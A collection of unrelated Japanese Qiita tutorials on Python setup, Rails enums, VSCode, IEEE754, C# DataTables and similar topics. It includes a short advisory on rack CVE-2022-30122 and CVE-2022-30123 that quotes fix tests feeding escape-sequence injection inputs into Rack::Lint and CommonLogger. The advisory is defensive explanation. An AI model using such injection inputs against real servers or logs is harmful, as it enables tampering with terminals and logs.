OmniAICreator/Qiita-1.07M huggingface dataset:
Python環境構築[Mac(M1)]

# 目次
1. Xcodeインストール
1. brewインストール
1. pyenvインストール
1. Pythonインストール
1. Visual Studio Codeインストール
1. Visual Studio Code設定
1. 仮想環境構築
1. 仮想環境運用

# 1. Xcodeインストトール
>XcodeはM1Macで開発環境を構築するものです。

AppStoreより、Xcodeアプリをインストールします。

# 2. brewインストール
>brewはmac用のパッケージインストーラーです。

以下より、Install HomebrewのURLをコピーして、ターミナルで実行します。

https://brew.sh/

# 3. pyenvインストール
>pyenvとは、pythonのバージョンを管理するものです。

ターミナルで以下を実行します。
```zsh
export PATH=/opt/homebrew/bin:$PATH    # パス追加
brew install pyenv    # pyenvインストール
```

# 4. Pythonインストール
ターミナルで以下を実行します。
```zsh
pyenv install -l    # インストール可能なリストを表示
pyenv install _Number_    # 上記のリストの上の方を確認して、好きなバージョンを選択
```

# 5. Visual Studio Codeインストール
下記のサイトより、インストールできます。

https://code.visualstudio.com/

# 6. Visual Studio Code設定
vscodeの拡張機能より、Pythonをインストールします。

# 7. 仮想環境構築
>パッケージをインストールして、vscodeに反映させます。

vscodeで任意のフォルダーを開き、フォルダ内に以下のファイルを作成します。
```zsh:.zshrc
export PYENV_ROOT="$HOME/.pyenv"
export PATH="$PYENV_ROOT/bin:$PATH"
eval "$(pyenv init --path)"
eval "$(pyenv init -)"
```
ターミナルで以下を実行します。
```zsh
pyenv local _Number_   # pythonのパスを追加
python -m venv .venv   # .venvという名前の仮想環境を作成
. .venv/bin/activate    # 仮想環境(.venv)に切り替え
```
先頭に(.venv)と表示された状態で以下を実行すると仮想環境にパッケージがインストールできます。
```bash
# which pipで有効化されているpipのパスが取得できます。
pip install <package>    # <パッケージ名>
```
Pythonのインタープリター選択で.venvを選択し、vscodeで仮想環境(.venv)を認識させます。

# 8. 仮想環境運用
インストールしたパッケージを管理します。
```bash
pip freeze > requirements.txt    # requirements.txtに出力
pip install -r requirements.txt    # requirements.txtよりインストール
```

>ファイルでもできる？
>フォルダーに.vscode/setting.jsonができれば完了です。
>Ctrl+Shift+Pで検索画面を表示させて、[setting]と検索して、Open Workspace Settings (JSON)を開きます。以下を追加してください。パスは相対パスで構いません。
>```json:settings.json
>{
>    "python.defaultInterpreterPath": ".venv/Scripts/python.exe"
>}
>```
Railsのenumをstringで使う方法

# 新人ちゃんにRailsのenumをstringで扱う方法を教えた話

## 三行で

この前新人研修でRailsのenumを教えました。その時にデータ型をstringで使う方法を伝えたのでその時の話  
「めんどくさいからこの記事見といて」としようとしたら意外とない。せっかくなら書こうかと。 
integerよりも柔軟性高いのでひとつの小技としてどうぞ

## そもそもenumとは

名前を整数に割り当てるのに使われるデータ型のこと。整数に対して名前を割り当てるので、整数を直接扱うよりも人間にとって読みやすく、メンテナンス性が上がる。  
データベースに保存されるときは名前ではなく、対応した整数が保存されます。  
名前の通り数字を扱うことを前提としたデータ型です。

## 基本的な書き方

まず、enum用のカラムを追加します。  
詳しい書き方とか、注意点はここでは解説しないです。

```ruby
def change
  add_column :models, :status, :integer, default: 0
end
```

該当モデルに enumを宣言する

```ruby
class Model < ApplicationRecord
  enum :status, [ :A, :B, :AB, :O ]
end
```

以上！！

こうするとconsoleでは以下のように表示されます

```ruby
Model.first
#=>
id: 1,
status: "A"
```

`read_attribute_before_type_cast`で整数を取り出すことも可能です。

```
Model.first.read_attribute_before_type_cast(:status)
=> 0
```

以下のようにすればhashで管理することもできます。

```ruby
enum status: { A: 0, B: 1, AB: 2, O: 3 }
```


## stringで書く場合

まず、データ型をstringにします。

```ruby
def change
  add_column :models, :status, :string, default: 'a'
end
```

後はhashで宣言するだけです。

```ruby
class Model < ApplicationRecord
  enum status: { A: 'a', B: 'b', AB: 'ab', O: 'o' }
end
```

コンソールで確認すると以下のようになります。

```ruby
Model.first
#=>
id: 1,
status: "A"
```

以上！簡単！！

### stringで管理することのメリットって何？

例えば今回の血液型のような決まった値で、今後変更する予定がないのであればintegerで全く問題ないと思います。  
stringで管理したほうがいいパターンで行くと、値が追加される可能性があるときに使うといいと思います。

ランク管理とかで A B C で管理する予定が S が増えたとか。  
そういった変化するかどうかがわからないものに対してはstringのほうが適していると思います。
だってSランクが後から追加されたらintegerの場合

```ruby
enum rank: { A: 0, B: 1, C: 2, S: 3 }
```

ってなるんですよ！気持ち悪くないですか？（笑）  
これで後からさらにDランクなんて追加された発狂しますよ（笑）

## まとめ

こんな感じで小技ですがstringでenumを扱う方法を紹介させていただきました。  
使うといい場面としては  
決まった値で管理したいかつ、既存の値の変更はないが追加される可能性があるとき  
だと思います。  
時々によって変わりますが、一つの選択肢として持っておくといいかなと思いました。  

それではよいエンジニアライフを(^ ^)  
最後まで読んでいただきありがとうございました。

## 参考文献

[Tech Racho ~ Railsのenumを使いこなす方法(翻訳) ~](https://techracho.bpsinc.jp/hachi8833/2022_02_18/115735)
[Railsガイド~ Active Record クエリインターフェイス ~](https://railsguides.jp/active_record_querying.html)
[stack overflow ~ How to store enum as string to database in rails ~](https://stackoverflow.com/questions/32938729/how-to-store-enum-as-string-to-database-in-rails)
VSCodeでSassとLiveサーバを利用する

HTMLのコーディングをするときに楽にやりたいですよね。
そんなとき役立つのがVSCode（Visual Studio Code）とLive Server + Live Sass Compilerです。
VSCodeはMicrosoft Storeからインストールしたり、Webサイトからダウンロードしてインストールしましょう。
もちろん無料です。

（画像はVSCodeのInsidersバージョンになっています）

## 拡張機能サイドバーを表示

Visual Studio Code（以下VSCode）を起動し「拡張機能」のアイコンをクリックする。

[![](https://i.gyazo.com/2c15b1b4f16432e4e46896f74ca02dfa.png)](https://i.gyazo.com/2c15b1b4f16432e4e46896f74ca02dfa.png)

## Live Sass Compiler を検索 

Live Sass Compiler と入力し検索する。

[![](https://i.gyazo.com/7d2fbc4e881676fe6186923247882f54.png)](https://i.gyazo.com/7d2fbc4e881676fe6186923247882f54.png)

## インストール

一番上の拡張機能をインストールする。
~~念のため `Ritwick Dey` が作者であることを確認して、それをインストールする。~~  
Live Sass Compilerが統合されて `Glenn Marks` のものに代わりました。それをインストールします。
インストールが終わったら、検索結果を削除してみる。

[![](https://i.gyazo.com/93780059a2ebf31c3fb442e16ce724a5.png)](https://i.gyazo.com/93780059a2ebf31c3fb442e16ce724a5.png)

## 確認＆エクスプローラーに移動

インストールされた拡張機能を確認する。二つ拡張機能がインストールされているはず。
確認したらエクスプローラー（VSCodeのファイルツリー）に移動する。

[![](https://i.gyazo.com/401556de4242f64e83b1b7da134f1757.png)](https://i.gyazo.com/401556de4242f64e83b1b7da134f1757.png)

## 実際に使ってみる

目的のフォルダをVSCodeにドラッグ＆ドロップする

[![](https://i.gyazo.com/b765d9bd14961fbf262445175e7d8243.png)](https://i.gyazo.com/b765d9bd14961fbf262445175e7d8243.png)

## フォルダを信頼する

最近はセキュリティの問題でフォルダを確認する必要があるみたい。

[![](https://i.gyazo.com/bd8de017e5e29e6d09804d00aa980307.png)](https://gyazo.com/bd8de017e5e29e6d09804d00aa980307)

## エディタにフォルダ読み込まれる

エクスプローラーにファイルの一覧が出るはず。
`Go Live` のアイコンをクリックすると、Liveサーバが立ち上がり、自動的にブラウザにプレビューが出る。
HTMLファイルを保存すると自動的にリロードされる。
`Watch Sass` をクリックすると、自動Sassコンパイルが開始される。
scssファイルやsassファイルを保存すると、cssファイルにコンパイルされる。
[![](https://i.gyazo.com/8932bb1f6f0761ff2a725cada763c7bd.png)](https://gyazo.com/8932bb1f6f0761ff2a725cada763c7bd)

## Windowsではファイアウォールで接続を許可する

WindowsではLiveサーバを起動すると、以下のダイアログが出るので許可する。

![[](https://i.gyazo.com/77d661b7db63244eff522b38e6f829d6.png)](https://i.gyazo.com/77d661b7db63244eff522b38e6f829d6.png)
【BizRobo!】座標ではない場所を指定して文字を入力する

# はじめに
今回は入力する箇所やクリックで操作する箇所を場所で指定する方法を
教えます。

例えばこんなことは開発中にあったりしませんでしたでしょうか。
<font color="red">
　・クリックするボタンの場所は同じだけど、なぜかクリック出来ない。
　・抽出したい場所は同じだけど、中身が毎回変わる</font>

私も過去に上記のような理由で開発が途中で止まることは何度かありました。
でも、どうしていいか分からない。
そんなときに役立つのが、要素を場所で指定する方法です。
是非最後まで見ていただければ幸いです。


# 場所で指定するとは？？？
そもそも「場所で指定する」という意味がどういうことか分からないという方も
いらっしゃるかと思います。
場所で指定するとは、要素を<font color="red">name＝○○</font>などで指定せずに、
<font color="red">nth-of-type(〇)</font>などを使用して要素を特定するやり方です。

説明ばかりでイメージが付きにくいはずなので、
実際にやってみましょう！！

※今回の画像はver.11で行いますが、ver.10.4やver.10.7でも同じやり方で可能です。

【実際の処理フロー】
今回はWindowsの検索窓に文字を入力するという方法で行っていきます。

①まず入力したい箇所もしくはクリックしたい箇所をDAのレコーダービューで
　選択します。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1902544/6a1711c5-58ca-a0e5-a1e6-6be76cd5005c.png)


②するとComponentには下記のように「name=ここに入力して検索」という要素が
　取得できます。
※このやり方でも入力は出来ます。
　しかし先ほど記載した通り、名前（name）が変わるなどが発生すると入力出来なくなります。
 ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1902544/3980b7a8-c57e-20e2-06f6-18efdc2c0591.png)

③ではここで場所を特定する要素を取得します。
先ほどクリックして要素を特定した場所のHTMLが書かれている箇所を
右クリックします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1902544/2c4f18c9-aeb7-9091-3328-52d6b98f9e06.png)
 

④右クリックするとメニューが表示されますので、
そこから<font color="red">「コンポーネント セレクターのコピー」＞
「フルパス コンポーネント セレクターのコピー」</font>を選択します。
<font color="blue">※コピーすることでステップが作成されたり、何か起こるわけではありません。
　クリップボードに要素がコピーされるだけになります。</font>
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1902544/8e83b71c-1476-7ce0-1cd3-b38521ed1c9e.png)


⑤④でコピーしたセレクターを先ほど作成したステップのComponentに貼り付けます。
　<font color="red">※元々記述されているComponentの中身は消したうえで貼り付けを行ってください。</font>

⑥⑤を行うと、以下画像のようになります。
　これで先ほど指定した要素の場所の特定は完了です。
 ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1902544/52de7cbb-0b5a-34fc-2a5c-e3a74d1b4173.png)


⑦実行すると、先ほどと同じように要素を特定することが出来ます。
　
 

【最後に】
ぜひ実際の開発の際に参考にしていただければ幸いです。
最後までご覧いただきありがとうございました。
Talend Open StudioでHyper Fileに出力する　その3

## 目標

Hyper FileのJDBC Driverを書いてTOSに出力できるようにすることを目標にします。


## 結果

あかーん！
hyperdのプロセスを起動するところでNoClassDefFoundErrorになります。
普通のAppからは問題ないけど、Talendではだめだった。

## Talendでの結果

1. 作ったjarをインストールします。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2660987/c04c7e46-08c7-ea44-08fd-b81f7f80a089.png)

1. JDBCドライバーとして認識されています。  
認識されるにはMETA-INFが必要です。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2660987/2fbdd7bb-4723-61b1-2424-e0221dbe7964.png)

1. しかし、実際に使うとエラーになります。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2660987/9fd88ac5-55b9-cbe4-bbe1-10aa442803f5.png)
基本情報（よく使う浮動小数点数形式）

浮動小数点数の形式でよく使われているものを具体的にみていきます。

## 32ビット
32ビットの形式例はごくごくシンプルらしいです。
よくわからんので図にしてみます。

```
0 　　　　　　　　0000000 . 000000000000000000000000
S     　　　　　　E                M
1ビット　　　　　7ビット            24ビット
```
S:仮数部の符号（0：正、1：負）
E:指数部（2を基数として、負の数は2の補数で表現)
M:仮数部(2進数 絶対値表示）

上記の形式を用いて、10進数の0.375という数字を表すとどうなるか見てみます。
0.375を2進数に直します。

```      
              0.5|0.25|0.125|
各桁の重み|1|  |1/2| 1/4|  1/8|
--------------------------------
2進数    |0| .| 0 | 1  |    1| = 0.011  
```

算出した2進数0.011を0.Mの形式に正規化
```
0.011 → 0.11 * 2⁻¹
```
正規化した数から符号(S)と仮数(M)、指数(E)の値を抜き出す
```
0.11 * 2⁻¹
```
符号は0

指数は7ビットの２進数で表しているため
10進数「-1」は
1　⇨　00000001となり、２の補数11111111となる。

仮数は11

```
0     1111111 11    0000000000000000000000
符号   指数    仮数部
```
上記となります。

## IEEE754の形式例とバイアス値
IEEE(米国電子電気技術者協会)により規格化された、IEEE754という
浮動小数点数の形式です。
32ビットや、64ビット、128ビットの形式があるようですが32ビットを例として
みてみます。

32ビットで構成するのは同じのようですが、ビット数の内訳と指数部のあらわし方
正規化の方法が違うようです。

```
1ビット　8ビット 23ビット
   S    E      M
```
S:仮数部の符号（0:正、1:負）
E:指数部(2を基数として+127する バイアス127)
M:仮数部(仮数-1の2進小数で表す 1.xxxの小数部)

指数部の使えるビットが1つ増えています。
なんか全くよくわからないので一つ一つ分解していきます。

## IEEE754って何よ
浮動小数点って言っても色々あるから、規格揃えて使いましょう
となったらしく、IEEE754を抑えておけば大体大丈夫らしいです。

IEEE754の特徴は「1.xx」の形で正規化することです。上記の仮数部の説明ですね。
2進数「0.011」を正規化すると「0.11 * 2⁻¹」になりますが
IEEE754の場合は「1.1 * 2⁻²」となり1ビット多く保持できるようです。

「バイアス」には「ゲタをはかせる」という意味があります。

```
実際の指数 バイアス 指数　  ２進数
-127    +  127   0   00000000
  |     
  0     +  127  127  01111111
  |    
 128    +  127  255  11111111
```
バイアスにはマイナスの数値を符号なしの2進数で表すために、所定の数（バイアス値）を加えて
表す方法となります。

ではIEEE754の形式を用いて、10進数の0.375という数字をあらわすと
どうなるかみてみます。

0.375を2進数にすると0.011。これを1.Mの形に正規化します。

```
0.011 → 1.1 * 2⁻²
```
符号は正の数なので「0」

仮数は1.MのMに当たる部分。そのため「１」

指数は指数の値をバイアス表現したもの。
そのため「-2+127」の結果を2進数にした
「125」⇨「01111101」となる。

Sは0
Eは01111101
Mは1

```
0011111011000000000000000000000
```
これで出来上がり！

## まとめ
ここら辺は全て慣れですね。
すぐに忘れてしまいそうなので何回か復習しようと思います。
コマンドプロンプトの2>&1はパイプ途中にも使える

`2>&1`、ファイルリダイレクトと違ってパイプ途中にも使えるっぽい  
できないかと思ってました  
（ファイルリダイレクトだと確かできない、ファイルへのリダイレクトと出力のリダイレクトだと別物ってことなのだろうか）  
軽く調べてみた感じunixな環境でもそういう感じの挙動をするっぽい  
clip使おうかとも思ったけどエラー自体は表示されちゃうのが癪だし、エラーを握りつぶしてそのまま`head`してコンソールに表示したかったので助かった（そもそもそういうことをしないで済むようにしろという話ではある）  

例：  
```
C:\CLI>fc
FC: ファイル指定の数が不足しています  # エラー出力に出力されている


C:\CLI>fc | clip
FC: ファイル指定の数が不足しています  # クリップボードへ転送できておらず、エラー出力にそのまま出ている


C:\CLI>fc 2>&1 | clip
# クリップボードに上記のエラー出力の内容が入った

```
あと、`2>&1`に限らず`2>nul`みたいな記述も普通に使える
【備忘録】Processingで遊んでみた

こんにちは！新人エンジニアのなっしーです。

久しぶりにProcessingで遊んだので、今回はProcessingの特徴や使い方などの概要を書いていこうと思います！
今回の記事は、ある程度プログラミング（主にJava）がわかる人向けの記事です。

<h1>Processingってどんなもの？</h1>

Processingとは、Javaを単純化し、電子アートとビジュアルデザインに特化させたプログラミング言語及び統合開発環境（IDE）です。

……と言われてもイメージが湧かないと思うので、実際の画面をお見せします！

[1]　IDEの画面（sketchbook）
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2655859/6eef4e93-f548-a800-862e-1f197a084e14.png)

[2]　実行結果
※実際には小さなボールが画面上を動き回る様子が表示されています。
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2655859/99839f1f-8a08-8eea-d6b5-7ca8cbda6e15.png)

sketchbookでコードを書き、再生ボタンを押すだけで簡単に様々な処理を行わせることができます。
初心者でも簡単にゲームなどが作れるので、プログラミング学習に最適なツールだと思います！

<h1>基本的なコードの書き方</h1>

Processingにはいくつか独自のメソッドが存在します。

<h3>void setup()</h3>

このメソッドは、実行時に最初の1度だけ呼ばれ、実行の初期状態を設定することができます。
例えば、実行時の画面のサイズの設定や、最初に描画させておく図形を呼び出すことなどをこのメソッド内で行います。

（Unityにおけるvoid Start()にあたる処理がこれです。）

<h3>void draw()</h3>

このメソッドは一定時間（デフォルトでは1/60秒）に1回呼び出されます。
実行中はずっと呼び出されるので、この中に書いた処理がどんどん更新されていきます。
アニメーションの処理を行う場合はここにそれを書いていきます。

（Unityにおけるvoid Update()やvoid FixedUpdate()などにあたる処理がこれです。）

<h3>図形の描画用のメソッド</h3>

Processingには、図形を描画するためのメソッドが多数用意されています。

例）

| メソッド | 機能 |
|:-:|:-:|
| line() |  直線を描画できる |
|  rect() |  四角形を描画できる |
|  ellipse() | 円を描画できる  |

これらのメソッドを用いて、図形を描画し、アニメーションをさせることができます。

<h1>まとめ</h1>

今回はProcessingの簡単な説明をさせていただきました！

これからは不定期にProcessingでの図形のアニメーションの仕方などを紹介し、最終的に簡単なゲームを作れるような記事をアップしていこうと思います。
（その後、その内容を踏まえ、Unityでのゲーム制作の記事も書くかもしれません。）

以上、新人エンジニアのなっしーでした！
次回も閲覧よろしくお願いします！！
やっぱりサーバー側でもWeb標準APIを使いたい

- JavaScriptランタイムはこれからもたくさん出てくる
  - Node.js, Deno, cloudflare workers, Google Apps Script, ...
- それぞれ別々のAPIを設計していたらキリがない
- 独自のAPIを設計してテストして仕様を維持していくのは大変
- Web標準APIを使えば解決

## JavaScriptランタイムとWeb標準API

前提として、JavaScriptにはどのランタイムでも使える関数（**標準ビルトインオブジェクト**）と特定のランタイムでしか使えない関数（**ランタイムAPI**）がある。

前者は例えば`eval`や`Array`などで、後者は`console`や`setTimeout`などだ。

||標準ビルトインオブジェクト|ランタイムAPI|
|---|---|---|
|特徴|すべてのランタイムで使える|ランタイムごとに違う|
|例|`Array`, `eval`など|`console`, `setTimeout`|
|実装者|JSエンジン（V8など）|JSランタイム（Node.jsなど）|
|仕様策定場所|TC39|WICGやW3CやWHATWGなど|

ブラウザで使える`DOM API`などもランタイムAPIの一種である。
ブラウザの場合は「このランタイムAPIをこの仕様で実装しましょうね」という取り決めがあり、複数のブラウザで共通のランタイムAPIが使えることが保証されている。

一方サーバー側ランタイムでは、このような共通APIの取り決めはない。
そのため、HTTPリクエストの方法一つとってもランタイムごとに分かれてしまっている。

- 標準モジュールのHTTPモジュール（Node.js）
- fetch（Deno, cloudflare workers）
- UrlFetchApp.fetch（Google Apps Script）

## ランタイムごとに仕様を作成するデメリット

独自のランタイムAPIを作成すると以下のようなデメリットがある。

- 仕様の作成が大変
  - JSの特性として、基本的に後方互換性を維持する必要がある
  - 一度入れたAPIは消せない
  - 堅牢なAPIを作るには大量の議論が必要
- 仕様の維持が大変
  - たとえばQuickJSには[BigFloat](https://bellard.org/quickjs/jsbignum.html#BigFloat)というAPIがある
  - このAPIの使い方は？
  - APIのテストも1から書かなきゃいけない
  - ドキュメントも維持しなきゃならない


ランタイムが独自のAPIを考え出して設計し、テストしなければならない。
ユーザーからすると、書かれたテストが正しいかも（中身を見ないと）わからない。実装とテストを書いた人間が正気かどうか、誰が保証するのだろうか？
これをやれるのはNode.jsのような巨大プロジェクトか、Googleのような大企業の潤沢な資金によって維持されているプロジェクトだけだろう。新しいランタイムを作成しなければならないときに1から使用を設計し維持するのは開発者にとってもユーザーにとっても辛い。

そこで、Web標準APIを流用してしまうという手がある。

## Web標準APIをサーバー側で使うメリット

Web標準を使うと以下のような嬉しい点がある。

- 仕様は既に議論されていて（基本的に）堅牢である
- wptという、Web APIのためのテストがある

特にwptがあるのが嬉しいポイントで、「wptのテストのうち何割通ったか」というのが実装の信頼性の使用になる。https://wpt.fyi/ を見れば他のランタイムとの比較もできる。実装を書いた人間の正気はwptによって保障される。

ドキュメントはMDNにあるし、ユーザーは新しいAPIを学ぶ必要もない。他のランタイムにコードを持っていくときにバベる必要もない。

fetch仕様の中に部分的に要らない機能があるからといって、オレオレfetchやfecth2.0を実装する必要は全くない。Web APIは部分的に実装してもOKである。

本当に必要な時以外は、独自のランタイムAPIを生み出す必要はないと思う。

## Winter CG

実はサーバー側ランタイムで歩調を合わせてWeb標準APIを使えるようにしようという取り組みは既に始まっている。Winter CGである。

https://wintercg.org/

これまでのようにブラウザ側によって定義されたAPIをサーバー側に流用するだけでなく、サーバー側ランタイムから仕様の策定にかかわっていこうという団体である。Denoやcloudflareなどが参加している。

現在は[webcrypto-streams](https://github.com/wintercg/proposal-webcrypto-streams)と[common-minimum-api](https://github.com/wintercg/proposal-common-minimum-api)の仕様策定が進められている。

## まとめ

- 独自APIを入れるくらいなら、Web標準APIを（たとえ部分的にでも）入れてもらったほうが開発者とユーザーにとってメリットがある。
- Web APIは一部の機能だけ実装してもよい。星取表のように埋める必要はないし、不要な機能は実装する必要はない。
- 「サーバー側ランタイムに同じAPIが実装されているのが本当にいいことなのか」という問いは「ChromeとSafariに同じAPIが実装されているのが本当にいいことなのか」みたいなレベルの話で、そこはランタイムごとの特色を出すよりも大事なことがあると思う。
cscの作法 その179

# 概要
cscの作法、調べてみた。
datatableを集計してみた。

# サンプルコード

```

using System;
using System.Windows.Forms;
using System.Drawing;
using System.Data.OleDb;
using System.Data;

class form1: Form {
	private Button button1;
	private DataGridView gd0;
	private DataTable dt;
	private OleDbConnection con;
	form1() {
		Text = "DataGridView";
		ClientSize = new Size(700, 400);
		this.button1 = new Button();
		this.button1.Location = new System.Drawing.Point(540, 60);
		this.button1.TabIndex = 0;
		this.button1.Text = "test";
		this.button1.Click += new System.EventHandler(this.button1_Click);
		this.Controls.Add(this.button1);
		this.gd0 = new DataGridView();
		this.gd0.Location = new System.Drawing.Point(30, 30);
		this.gd0.Size = new Size(500, 370);
		this.Controls.Add(this.gd0);
		con = new OleDbConnection();
		con.ConnectionString = @"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=mydb.mdb;";
		con.Open();
		OleDbDataAdapter oda = new OleDbDataAdapter("SELECT * FROM sisyutu;", con);
		dt = new DataTable();
		oda.Fill(dt);
		gd0.DataSource = dt;
		//con.Close();
	}
	private void button1_Click(object sender, System.EventArgs e) {
		int res = (int) dt.Compute("Max(金額)", "項目 = '雑費'");
		Console.WriteLine("雑費の最高額：{0}円", res);
		res = (int) dt.Compute("Min(金額)", "項目 = '雑費'");
		Console.WriteLine("雑費の最少額：{0}円", res);
		res = (int) dt.Compute("Avg(金額)", "項目 = '雑費'");
		Console.WriteLine("雑費の平均：{0}円", res);
		res = (int) dt.Compute("Count(金額)", "項目 = '雑費'");
		Console.WriteLine("雑費の件数：{0}件", res);
	}
	[STAThread]
	public static void Main() {
		Application.Run(new form1());
	}
}





```

# 結果

```
>dgv6
雑費の最高額：15510円
雑費の最少額：220円
雑費の平均：3484円
雑費の件数：24件

```


以上。
cscの作法 その178

# 概要
cscの作法、調べてみた。
datatableから、抽出してみた。

# サンプルコード

```
using System;
using System.Windows.Forms;
using System.Drawing;
using System.Data.OleDb;
using System.Data;

class form1: Form {
	private Button button1;
	private DataGridView gd0;
	private DataTable dt;
	private OleDbConnection con;
	form1() {
		Text = "DataGridView";
		ClientSize = new Size(700, 400);
		this.button1 = new Button();
		this.button1.Location = new System.Drawing.Point(540, 60);
		this.button1.TabIndex = 0;
		this.button1.Text = "test";
		this.button1.Click += new System.EventHandler(this.button1_Click);
		this.Controls.Add(this.button1);
		this.gd0 = new DataGridView();
		this.gd0.Location = new System.Drawing.Point(30, 30);
		this.gd0.Size = new Size(500, 370);
		this.Controls.Add(this.gd0);
		con = new OleDbConnection();
		con.ConnectionString = @"Provider=Microsoft.Jet.OLEDB.4.0;Data Source=mydb.mdb;";
		con.Open();
		OleDbDataAdapter oda = new OleDbDataAdapter("SELECT * FROM sisyutu;", con);
		dt = new DataTable();
		oda.Fill(dt);
		gd0.DataSource = dt;
		//con.Close();
	}
	private void button1_Click(object sender, System.EventArgs e) {
		DataRow[] dRows = dt.Select("項目 = '雑費'", "金額 DESC");
		foreach (DataRow row in dRows)
		{
			Console.WriteLine(String.Format("年月日：{0}, 項目：{1}, 金額：{2}, 備考：{3}", row[1], row[2], row[3], row[4]));
		}
		Console.WriteLine("ok");
	}
	[STAThread]
	public static void Main() {
		Application.Run(new form1());
	}
}



```

# 結果

```
>dgv5
年月日：2021/10/04 0:00:00, 項目：雑費, 金額：15510, 備考：動物病院
年月日：2021/07/26 0:00:00, 項目：雑費, 金額：13860, 備考：動物病院
年月日：2021/07/22 0:00:00, 項目：雑費, 金額：4900, 備考：amazon
年月日：2021/10/01 0:00:00, 項目：雑費, 金額：4277, 備考：新聞
年月日：2021/07/01 0:00:00, 項目：雑費, 金額：4277, 備考：新聞
年月日：2021/09/01 0:00:00, 項目：雑費, 金額：4277, 備考：新聞
年月日：2022/01/01 0:00:00, 項目：雑費, 金額：4277, 備考：新聞
年月日：2021/08/01 0:00:00, 項目：雑費, 金額：4277, 備考：新聞
年月日：2021/11/01 0:00:00, 項目：雑費, 金額：4277, 備考：新聞
年月日：2021/12/01 0:00:00, 項目：雑費, 金額：4277, 備考：新聞
年月日：2021/12/09 0:00:00, 項目：雑費, 金額：3099, 備考：amazon
年月日：2021/08/29 0:00:00, 項目：雑費, 金額：2780, 備考：amazon
年月日：2021/07/01 0:00:00, 項目：雑費, 金額：1680, 備考：amazon
年月日：2021/09/12 0:00:00, 項目：雑費, 金額：1599, 備考：amazon
年月日：2022/01/11 0:00:00, 項目：雑費, 金額：1517, 備考：マツモトキヨシ
年月日：2021/07/12 0:00:00, 項目：雑費, 金額：1466, 備考：amazon
年月日：2021/12/22 0:00:00, 項目：雑費, 金額：1350, 備考：amazon
年月日：2021/12/13 0:00:00, 項目：雑費, 金額：1332, 備考：amazon
年月日：2021/12/23 0:00:00, 項目：雑費, 金額：1200, 備考：amazon
年月日：2021/12/01 0:00:00, 項目：雑費, 金額：1050, 備考：amazon
年月日：2021/07/07 0:00:00, 項目：雑費, 金額：998, 備考：amazon
年月日：2021/10/22 0:00:00, 項目：雑費, 金額：589, 備考：文房具
年月日：2021/08/25 0:00:00, 項目：雑費, 金額：527, 備考：amazon
年月日：2021/11/14 0:00:00, 項目：雑費, 金額：220, 備考：ダイソー
ok

```


以上。
rack gemの脆弱性CVE-2022-30122, CVE-2022-30123について

gem [rack](https://github.com/rack/rack)の脆弱性[CVE-2022-30122](https://discuss.rubyonrails.org/t/cve-2022-30122-denial-of-service-vulnerability-in-rack-multipart-parsing/80729), [CVE-2022-30123](https://discuss.rubyonrails.org/t/cve-2022-30123-possible-shell-escape-sequence-injection-vulnerability-in-rack/80728)について



# CVE-2022-30122
## アナウンス

https://discuss.rubyonrails.org/t/cve-2022-30122-denial-of-service-vulnerability-in-rack-multipart-parsing/80729

## 概要

以下の処理を使用している場合にrackでMIMEのパースを行う際に使用している正規表現でReDoSが可能。

- `Rack::Multipart.parse_multipart`
- `request.POST`
- `request.params`

### 修正コミット
https://github.com/rack/rack/commit/d286516cbd58fbb2ad6944ce9040e9ba96d9371a

## CVE-2022-30123

## アナウンス

https://discuss.rubyonrails.org/t/cve-2022-30123-possible-shell-escape-sequence-injection-vulnerability-in-rack/80728

## 概要

以下のrack middlewareの処理の中でリクエストのパース処理に脆弱性がありOSコマンドインジェクションが可能

- `Rack::Lint`
- `Rack::CommonLogger`

### 修正コミット

https://github.com/rack/rack/commit/b426cc224908ec6ed6eb8729325392b048215d88

#### `Rack::Lint`

`call`メソッドで指定された`OOPS?\b!`がエスケープされて`/OOPS\?\\/`になっている

```ruby
lambda {
  Rack::Lint.new(nil).call(env("REQUEST_METHOD" => "OOPS?\b!"))
}.must_raise(Rack::Lint::LintError).
  message.must_match(/OOPS\?\\/)

```

#### `Rack::CommonLogger`

`request`メソッドの引数で指定される`GET\`が エスケープされて`/GET\\x8`になっている

```ruby
it "escapes non printable characters except newline" do
  logdev = StringIO.new
  log = Logger.new(logdev)
  Rack::MockRequest.new(Rack::CommonLogger.new(app_without_lint, log)).request("GET\b", "/hello")

  logdev.string.must_match(/GET\\x8 \/hello HTTP\/1\.1/)
end
```
Macが有線LANアダプタを認識しない

MacOSをMontereyにしたからなのかいつの間にか有線LANアダプタを認識しなくなっていたのでその対処法のメモ

# 有線LANアダプタ
2年ほど前にAmazonで購入したコレ.
[BUFFALO 有線LANアダプター LUA4-U3-AGTE-NBK](https://www.amazon.co.jp/dp/B07VG66XX3?ref_=cm_sw_r_cp_ud_dp_EMXSQAAJZ4XYMWEQ2ZZ2"")
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1037849/99ce8c96-5705-b7b4-3333-94acbd27ac9e.jpeg" width="25%">
どうやらMacOS11(Big Sur)，12(Monterey)には対応していないらしい...
POWERランプは点灯していたが システム環境設定>ネットワーク では認識せず.

# 対処法
「option」キーを押しながら Appleメニュー  >システム情報 を選択.
ハードウェア > USBを見てみるとUSB 3.1バスのところにAX88179というものが.
![スクリーンショット 2022-06-01 18.22.10.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1037849/05beca9f-7593-0100-1de2-fd3edf7f6421.png)
これは何ぞや？とググってみると ASIX製のチップで，有線LANアダプタの中身らしい．

[ASIXのサイト](https://www.asix.com.tw/en/support/download)を見ると，色々ドライバがありました．
(Software & Tools > Drivers > USB Ethernet ICs > AX88179)
![スクリーンショット 2022-06-01 18.38.02.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1037849/0fb45ffc-6617-7ed0-62d7-da3b7203454c.png)

対応するドライバを選択して，DL & インストール．

